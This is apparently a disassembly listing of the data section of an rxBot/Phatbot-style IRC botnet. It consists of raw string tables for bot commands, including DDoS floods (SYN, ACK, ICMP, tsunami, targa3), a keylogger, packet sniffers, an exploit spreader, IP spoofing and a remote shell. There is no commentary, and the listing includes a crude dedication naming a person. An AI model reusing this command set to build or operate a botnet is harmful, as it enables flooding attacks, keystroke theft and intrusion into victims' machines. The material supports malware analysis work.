db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char aWisdom_udp[]
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o
; sub_412B09:loc_412C35o
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_412B09:loc_412C19o
align 4
; char aDdos_syn[]
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o
; sub_412B09+F1o
align 4
; char aC_0[]
aC_0: ; DATA XREF: sub_401ACD+4BCDo
; .data:00438338o ...
unicode 0, <c>,0
; char aClone_0[]
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o
align 4
; char aIcmp[]
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do
align 4
; char aIcmpflood[]
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o
align 4
; char aMv[]
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo
align 4
; char aRename[]
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o
align 4
; char aFf[]
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o
align 4
; char aFindfile[]
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao
align 4
; char aE[]
aE: ; DATA XREF: sub_401ACD+4B03o
; .data:004382F0o ...
unicode 0, <e>,0
; char aExecute[]
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo
; char aJp10[]
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o
align 4
; char aJpDe10[]
aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo
; char aDe[]
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o
align 4
; char aDelay[]
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o
align 4
; char aRp[]
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o
align 10h
; char aRepeat[]
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o
; sub_401ACD+6BE8o
align 4
; char aTsn[]
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo
; char aTsunami[]
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o
; char aT3[]
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do
align 4
; char aTarga3[]
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o
align 10h
; char aC_p[]
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo
; char aC_part[]
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o
align 4
; char aC_j[]
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o
; char aC_join[]
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo
align 4
; char aC_n[]
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o
; char aC_nick[]
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co
align 4
; char aC_m[]
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o
; char aC_mode[]
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo
align 10h
; char aC_r[]
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o
; char aC_raw[]
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o
align 4
; char aM_0[]
aM_0: ; DATA XREF: sub_401ACD+4909o
; .data:00438348o ...
unicode 0, <m>,0
; char aCy[]
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo
align 4
; char aCycle[]
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o
align 4
; char aA[]
aA: ; DATA XREF: sub_401ACD+48ADo
; .data:0043830Co
unicode 0, <a>,0
; char aAction[]
aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o
align 4
; char aPrivmsg_0[]
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o
; char aAa[]
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o
align 4
; char aAddalias[]
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao
align 10h
; char aKl[]
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o
align 4
; char aKilllog[]
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co
; char aGh[]
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o
align 10h
; char aGethost[]
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo
; char aCap[]
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o
; char aCapture[]
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o
unk_42B424 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B440 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
; char aSend_0[]
aSend_0 db 'send',0 ; DATA XREF: sub_401ACD+475Fo
; sub_409B13+5F0o
align 4
unk_42B46C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B48C db 2Dh ; - ; DATA XREF: sub_401ACD+4748o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B4CC db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
; char aShare[]
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo
align 4
; char aContinue[]
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo
align 4
; char aPause[]
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o
align 4
; char aStop[]
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o
align 4
unk_42B514 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
; char aStart[]
aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo
align 10h
unk_42B560 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
; char aNet[]
aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o
dword_42B59C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
; char asc_42B5D8[]
asc_42B5D8 db '-' ; DATA XREF: sub_401ACD+44DAo
db 3, 34h, 2
dd 6C79656Bh, 302676Fh
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42B5FC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o
aAlreadyRunning db '- Already running.',0
align 4
dword_42B61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42B648 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
; char aFile[]
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o
align 4
; char aKeylog[]
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o
align 4
dword_42B694 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B6EC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 10h
; char asc_42B720[]
asc_42B720 db '-' ; DATA XREF: sub_401ACD+4345o
db 3, 34h, 2
dd 6E656469h, 3026474h
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B74C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o
aAlreadyRunni_0 db '- Already running.',0
align 4
; char aIdent[]
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o
align 4
unk_42B774 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B7A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
; char asc_42B820[]
asc_42B820 db '-' ; DATA XREF: sub_401ACD+424Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 10h
unk_42B850 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
; char aSniffer[]
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o
dword_42B878 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B8A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B8E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
; char asc_42B91C[]
asc_42B91C db '-' ; DATA XREF: sub_401ACD+40FCo
db 3, 34h, 2
dd 696E7370h, 3026666h
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B94C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o
aAlreadyRunni_2 db '- Already running.',0
align 4
; char aOn[]
aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o
; sub_401ACD+41C7o ...
align 10h
; char aPsniff[]
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo
align 4
; char aRf[]
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o
align 4
; char aReadfile[]
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o
align 4
; char aCm[]
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo
align 4
; char aCmd[]
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao
; char aMirc[]
aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF5o
align 4
; char aMirccmd[]
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FE0o
; char aV[]
aV: ; DATA XREF: sub_401ACD+3FCBo
; .data:0043833Co ...
unicode 0, <v>,0
; char aVisit[]
aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB6o
align 4
; char aLi[]
aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA1o
align 10h
; char aList[]
aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Co
align 4
; char aGt[]
aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F77o
align 4
; char aDel[]
aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Do
; char aDelete[]
aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F38o
; sub_401ACD+4645o
align 4
; char aKi[]
aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F23o
align 4
; char aKill[]
aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo
align 4
; char aKp[]
aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o
align 4
; char aKillproc[]
aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o
align 4
; char aDn[]
aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo
align 4
; char aDns[]
aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo
; char aSe[]
aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o
align 10h
; char aO[]
aO: ; DATA XREF: sub_401ACD+3E7Bo
; .data:0043866Co
unicode 0, <o>,0
; char aOpen[]
aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o
; sub_401ACD+590Co ...
align 4
; char aPr[]
aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o
align 10h
; char aPrefix[]
aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co
align 4
; char aC_rn[]
aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o
align 10h
; char aC_rndnick[]
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o
align 4
; char aC_q[]
aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo
; char aC_quit[]
aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o
align 4
; char aK[]
aK: ; DATA XREF: sub_401ACD+3DD3o
; .data:00438328o ...
unicode 0, <k>,0
; char aKillthread[]
aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo
align 4
; char aRaw[]
aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o
; char aPt[]
aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo
align 10h
; char aJ[]
aJ: ; DATA XREF: sub_401ACD+3D55o
; .data:00438324o ...
unicode 0, <j>,0
; char aN[]
aN: ; DATA XREF: sub_401ACD+3D2Bo
; .data:00438344o ...
unicode 0, <n>,0
unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 10h
; char aNickservRegist[]
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o
; char aRegister[]
aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao
align 4
; char aPrivmsgSS_0[]
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o
align 4
; char aMix[]
aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o
; char aPrivmsgS_3[]
aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AF0o
; sub_401ACD+3B27o
dd 6E696601h, 1726567h, 0
; char aPrivmsgS_2[]
aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AB9o
dd 72657601h, 6E6F6973h, 1
; char aPrivmsgS_1[]
aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A82o
; sub_401ACD+3B99o
dd 6E697001h, 167h
; char aCtcp[]
aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do
align 4
; char aNoticeSS_1[]
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o
; sub_401ACD+39D4o ...
align 4
; char aNotice_0[]
aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo
align 4
; char aMsg[]
aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo
; char aChgnick[]
aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o
; char aNick_0[]
aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o
; sub_401ACD+3D16o
align 10h
; char aPrivmsgS_0[]
aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+36E9o
dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h
dd 64252064h, 1
; char aDcc[]
aDcc db 'dcc',0 ; DATA XREF: sub_401ACD+366Co
; char aJoinPart[]
aJoinPart db 'join/part',0 ; DATA XREF: sub_401ACD+351Fo
align 4
; char aNickS_0[]
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401ACD+3502o
; sub_401ACD+3763o ...
; char aSI[]
aSI db '%s%i',0 ; DATA XREF: sub_401ACD+34E7o
; sub_40ACB6+4Fo ...
align 4
; char aPnick[]
aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o
align 10h
; char aPartSS[]
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o
; sub_401ACD+3579o ...
align 4
; char aPartflood[]
aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o
align 4
; char aPartS[]
aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o
; char aPart_0[]
aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o
; sub_401ACD+3D6Ao
align 4
; char aJoinS[]
aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o
; sub_401ACD+354Do ...
; char aJoin[]
aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o
; sub_401ACD+3D40o
align 4
; char aModeSS[]
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o
align 4
; char aMode[]
aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o
; sub_401ACD+48F2o
align 4
; char aNoticeSS_0[]
aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo
align 4
; char aNt[]
aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co
align 10h
; char aPrivmsgS[]
aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401ACD+32EFo
dd 1732501h, 0
; char aCt[]
aCt db 'ct',0 ; DATA XREF: sub_401ACD+32A0o
align 4
; char aPrivmsgSS[]
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401ACD+3283o
; sub_401ACD+38A9o ...
align 4
; char a_[]
a_: ; DATA XREF: sub_401ACD+3254o
; sub_401ACD+32C0o ...
unicode 0, <_>,0
; char aPm[]
aPm db 'pm',0 ; DATA XREF: sub_401ACD+3234o
; sub_401ACD+487Fo
align 10h
; char asc_42BC00[]
asc_42BC00 db '-' ; DATA XREF: sub_401ACD+3202o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
; char aLoad[]
aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo
align 4
; char aFlood[]
aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o
align 4
; char aRinms[]
aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo
align 4
; char aReconnect_in_m[]
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o
; char aRin[]
aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o
; char aReconnect_in[]
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co
align 4
unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD+3121o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
; char asc_42BCA8[]
asc_42BCA8 db '-' ; DATA XREF: sub_401ACD+30AFo
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
; char aExploit[]
aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o
; char asc_42BCE0[]
asc_42BCE0 db '-' ; DATA XREF: sub_401ACD+300Fo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
; char aD_D_D_[]
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo
align 4
unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
; char aGet_0[]
aGet_0 db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o
; sub_401ACD+3F62o
unk_42BD88 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 10h
dword_42BDE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo
unk_42BDF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 10h
dword_42BEA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co
aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0
align 4
; char asc_42BEDC[]
asc_42BEDC db '-' ; DATA XREF: sub_401ACD+2DD2o
db 3, 34h, 2
dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h
dd 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo
align 4
aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o
align 10h
unk_42BF10 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0
align 10h
; char asc_42BF50[]
asc_42BF50 db '-' ; DATA XREF: sub_401ACD+2CCAo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o
aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0
align 4
; char asc_42BFB8[]
asc_42BFB8 db '-' ; DATA XREF: sub_401ACD+2BD9o
; sub_4111CE+A8o
db 3, 34h, 2
dd 6B636F73h, 3023473h
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42BFE0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o
aFindFile db 'Find file',0 ; DATA XREF: sub_401ACD+2B21o
align 4
dword_42BFFC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo
aProcessList db 'Process list',0 ; DATA XREF: sub_401ACD+2B09o
align 4
dword_42C01C dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: sub_401ACD+2A96o
dd 676E6974h, 2Eh
; char aQuitReconnecti[]
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o
; sub_401ACD:loc_409779o ...
align 10h
dword_42C050 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: sub_401ACD+2A74o
dd 6E697463h, 2E67h
; char aQuitDisconnect[]
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o
align 4
; char aQuitLater[]
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo
; sub_401ACD+7A7Fo
align 4
; char aQuitS[]
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo
align 10h
unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
; char asc_42C0CC[]
asc_42C0CC db '-' ; DATA XREF: sub_401ACD+29D9o
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h
unk_42C0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0
align 10h
; char asc_42C120[]
asc_42C120 db '-' ; DATA XREF: sub_401ACD+295Bo
db 3, 34h, 2
dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h
dd 2E736461h, 0
; char aSub[]
aSub db 'sub',0 ; DATA XREF: sub_401ACD+2935o
dword_42C144 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: sub_401ACD+28E3o
dd 2E7473h
unk_42C15C db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0
; char asc_42C194[]
asc_42C194 db '-' ; DATA XREF: sub_401ACD+2859o
db 3, 34h, 2
dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh
dword_42C1AC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_401ACD+27B4o
dd 6F666E49h, 2Eh
dword_42C1C8 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_401ACD+2785o
dd 2E6F666Eh, 0
dword_42C1E4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_401ACD+2730o
dd 746F4220h, 2Eh
; char asc_42C200[]
asc_42C200 db '-' ; DATA XREF: sub_401ACD+2714o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0
align 4
; char asc_42C23C[]
asc_42C23C db '-' ; DATA XREF: sub_401ACD+269Fo
db 3, 34h, 2
dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h
dd 2E7473h
; char aFull[]
aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo
align 10h
unk_42C260 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 10h
dword_42C280 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo
aSearchComplete db '- Search completed.',0
; char asc_42C2A0[]
asc_42C2A0 db '-' ; DATA XREF: sub_401ACD+25AEo
db 3, 34h, 2
dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h
unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
